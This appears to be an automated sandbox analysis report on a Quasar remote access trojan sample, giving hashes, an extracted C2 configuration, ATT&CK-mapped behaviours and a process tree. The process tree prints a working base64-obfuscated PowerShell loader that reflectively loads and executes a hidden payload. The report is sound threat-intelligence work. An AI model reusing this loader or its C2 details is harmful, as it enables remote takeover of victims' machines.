quasar | c1b6079cad447af00ffaaed62cc9a2e0af0ca6e5ab005a14cb91d2a9e4a2e90c

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
08/04/2024, 16:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c1b6079cad447af00ffaaed62cc9a2e0af0ca6e5ab005.exe
Size 1.4MB
Sample240408-tf7yaadd43
SHA256 c1b6079cad447af00ffaaed62cc9a2e0af0ca6e5ab005a14cb91d2a9e4a2e90c
MD5 3d79dc4561f767cb36d606b183a935a1
SHA1 d6b8393cce26a6fe81e2764a82a076f933616032
SHA512 cbec0ddc9a54935ea6818b98fb27c0f4fe086b9ce19915a46175d044b2663d10cff583e595accca353fbea9cb34fe197485c05895768753e1fe6e34c6845dff1
SSDEEP 24576:xfL5njMnY25GYQ2RgV/8XZaELBHQ08HYPRNr+d6zr06jqEq/aZXvqcy3k+D:99gYVWgV0XZpHQ0x+0zrzuYCcy0E
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar quacks spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Quacks

51.79.171.174:1337

Mutex

1a18c2f3-8977-4396-a2c1-ca02ae5f16bc

Attributes

encryption_key
CFB4F4CA022C9B6355A56391E851519D74D8996A
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/4984-54-0x0000000000400000-0x0000000000724000-memory.dmp	family_quasar

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.vbs	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.vbs	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 952 set thread context of 4984	952	powershell.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4512	powershell.exe
4512	powershell.exe
952	powershell.exe
952	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeDebugPrivilege	952	powershell.exe
Token: SeDebugPrivilege	4984	cvtres.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1868 wrote to memory of 4708	1868	c1b6079cad447af00ffaaed62cc9a2e0af0ca6e5ab005.exe	88
PID 1868 wrote to memory of 4708	1868	c1b6079cad447af00ffaaed62cc9a2e0af0ca6e5ab005.exe	88
PID 1868 wrote to memory of 4708	1868	c1b6079cad447af00ffaaed62cc9a2e0af0ca6e5ab005.exe	88
PID 4708 wrote to memory of 976	4708	wscript.exe	90
PID 4708 wrote to memory of 976	4708	wscript.exe	90
PID 4708 wrote to memory of 976	4708	wscript.exe	90
PID 976 wrote to memory of 4512	976	cmd.exe	92
PID 976 wrote to memory of 4512	976	cmd.exe	92
PID 976 wrote to memory of 4512	976	cmd.exe	92
PID 976 wrote to memory of 952	976	cmd.exe	97
PID 976 wrote to memory of 952	976	cmd.exe	97
PID 976 wrote to memory of 952	976	cmd.exe	97
PID 952 wrote to memory of 4984	952	powershell.exe	101
PID 952 wrote to memory of 4984	952	powershell.exe	101
PID 952 wrote to memory of 4984	952	powershell.exe	101
PID 952 wrote to memory of 4984	952	powershell.exe	101
PID 952 wrote to memory of 4984	952	powershell.exe	101
PID 952 wrote to memory of 4984	952	powershell.exe	101
PID 952 wrote to memory of 4984	952	powershell.exe	101
PID 952 wrote to memory of 4984	952	powershell.exe	101

C:\Users\Admin\AppData\Local\Temp\c1b6079cad447af00ffaaed62cc9a2e0af0ca6e5ab005.exe
"C:\Users\Admin\AppData\Local\Temp\c1b6079cad447af00ffaaed62cc9a2e0af0ca6e5ab005.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1868
- C:\Windows\SysWOW64\wscript.exe
  "wscript.exe" "C:\Users\Admin\start.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4708
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:976
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgImN2dHJlcy5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\cvtres.ps1' -Encoding UTF8"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4512
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\cvtres.ps1"
      4⤵
      Drops startup file
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:952
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 3254495a5513b37a2686a876d0040275414699e7ce760e7b5ee05e41a54b96f5
MD5 6195a91754effb4df74dbc72cdf4f7a6
SHA1 aba262f5726c6d77659fe0d3195e36a85046b427
SHA512 ed723d15de267390dc93263538428e2c881be3494c996a810616b470d6df7d5acfcc8725687d5c50319ebef45caef44f769bfc32e0dc3abd249dacff4a12cc89
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 16KB
SHA256 a6bc66af9e2d5fdf6b42d73395684d1da29bc6f1c6f51f90b1633b55ddc80e5b
MD5 8e6985c81eeb024715e592af5cea35e6
SHA1 7d8d9dd508d20dbc9fd3819d0a8b1c0deadc3a73
SHA512 6f9465c37076cf6a96c53a78706cef2255865220b76bbde177508cbbe7773efaf46fbee855cfb80861b0ee82c45549f406285c2670f2e98e58d880336177aa83
SSDEEP 384:ab+oA9i+WO3ZrDJk+o9oPMmXK6seYoX66/my3SoZe73lNFePE97b9AcDX:GrOprOjoPMmXNjPVSNZ78E9Xj
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_iyirwrxc.lva.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iyirwrxc.lva.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

cvtres.ps1

Path C:\Users\Admin\cvtres.ps1
Size 1KB
SHA256 69ea7bd83b817ac9b7e87e6828f09b4891f87e7d8ceb5980667e7bbde7d22138
MD5 8e0acbe960188f911893a3658dff0248
SHA1 b29bbdc6fda3b0b9dad8dd0d4d276c2a34ce3551
SHA512 a8620690aba185fe7df2eecadcf92897862dc5ecf9d92f905532afc66ab923d08995ea5261d3f62deadd9cb2fa789aacd066f256781f2a70334d9d9404dc50f3
MD5 SHA1 SHA512

Submit Download

start.vbs

Path C:\Users\Admin\start.vbs
Size 231B
SHA256 89054e19532a9a62ca3403a8899495bf6f06557ff886b475a04227eb8aba7b12
MD5 abe1dd23ab4c11aae54f1898c780c0b5
SHA1 bb2f974b3e0af2baa40920b475582bfd4fb28001
SHA512 e9ec437a32301078ea69ce2f36dadab68315d5e56d94c4d579d3409ccbe0c9e00c3aed7baa0fa6d656fb8ed23213f4c01fb2d108c1a0ed11c58c76cd00f9a99d
MD5 SHA1 SHA512

Submit Download

temp.bat

Path C:\Users\Admin\temp.bat
Size 1.7MB
SHA256 64ef06afc91c79a5e16405310c059da3913188c1335b55de259cfc86289d5c82
MD5 bd9b4fe6f3a5032efa5e4f5901178f1c
SHA1 03c4ecbce621c5084e1ee53a2bb653622e0c5816
SHA512 92c652102db95e6add8d2468f1b66010a9c1edd7c064a4408c2a546e1a21e96c318ce19451363e96fbec90e4dea7df483265e8e46a29bf4433651e2b0fea2ec2
SSDEEP 24576:zCehnZTr2mjv285Xa3jn+Bu1IXM7oKQbsVzCM+RoXhBaOQIQOHcm+WK1gqqTs8Pj:fZTZT2W8j+M4MWfom/1YqS
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/952-48-0x0000000007640000-0x0000000007BE4000-memory.dmp

Download

memory/952-52-0x00000000024C0000-0x00000000024CA000-memory.dmp

Download

memory/952-50-0x00000000071D0000-0x0000000007532000-memory.dmp

Download

memory/952-46-0x0000000006FF0000-0x0000000007086000-memory.dmp

Download

memory/952-59-0x0000000074A00000-0x00000000751B0000-memory.dmp

Download

memory/952-47-0x0000000006380000-0x00000000063A2000-memory.dmp

Download

memory/952-53-0x0000000077461000-0x0000000077581000-memory.dmp

Download

memory/952-64-0x0000000074A00000-0x00000000751B0000-memory.dmp

Download

memory/952-34-0x0000000004AB0000-0x0000000004AC0000-memory.dmp

Download

memory/952-33-0x0000000074A00000-0x00000000751B0000-memory.dmp

Download

memory/4512-31-0x0000000074A00000-0x00000000751B0000-memory.dmp

Download

memory/4512-23-0x0000000005D70000-0x00000000060C4000-memory.dmp

Download

memory/4512-27-0x0000000006790000-0x00000000067AA000-memory.dmp

Download

memory/4512-26-0x0000000007BA0000-0x000000000821A000-memory.dmp

Download

memory/4512-7-0x0000000074A00000-0x00000000751B0000-memory.dmp

Download

memory/4512-25-0x00000000062A0000-0x00000000062EC000-memory.dmp

Download

memory/4512-24-0x0000000006250000-0x000000000626E000-memory.dmp

Download

memory/4512-9-0x0000000002F20000-0x0000000002F30000-memory.dmp

Download

memory/4512-18-0x0000000005D00000-0x0000000005D66000-memory.dmp

Download

memory/4512-12-0x0000000005530000-0x0000000005596000-memory.dmp

Download

memory/4512-11-0x0000000005490000-0x00000000054B2000-memory.dmp

Download

memory/4512-10-0x00000000055A0000-0x0000000005BC8000-memory.dmp

Download

memory/4512-8-0x0000000002F20000-0x0000000002F30000-memory.dmp

Download

memory/4512-6-0x0000000002E70000-0x0000000002EA6000-memory.dmp

Download

memory/4984-56-0x0000000074A00000-0x00000000751B0000-memory.dmp

Download

memory/4984-58-0x0000000005600000-0x000000000560A000-memory.dmp

Download

memory/4984-57-0x0000000005630000-0x00000000056C2000-memory.dmp

Download

memory/4984-60-0x0000000005580000-0x0000000005590000-memory.dmp

Download

memory/4984-61-0x00000000066C0000-0x0000000006CD8000-memory.dmp

Download

memory/4984-62-0x00000000060A0000-0x00000000060F0000-memory.dmp

Download

memory/4984-63-0x00000000062F0000-0x00000000063A2000-memory.dmp

Download

memory/4984-54-0x0000000000400000-0x0000000000724000-memory.dmp

Download

memory/4984-67-0x0000000007740000-0x0000000007752000-memory.dmp

Download

memory/4984-68-0x00000000077A0000-0x00000000077DC000-memory.dmp

Download

memory/4984-69-0x0000000074A00000-0x00000000751B0000-memory.dmp

Download

memory/4984-70-0x0000000005580000-0x0000000005590000-memory.dmp

Download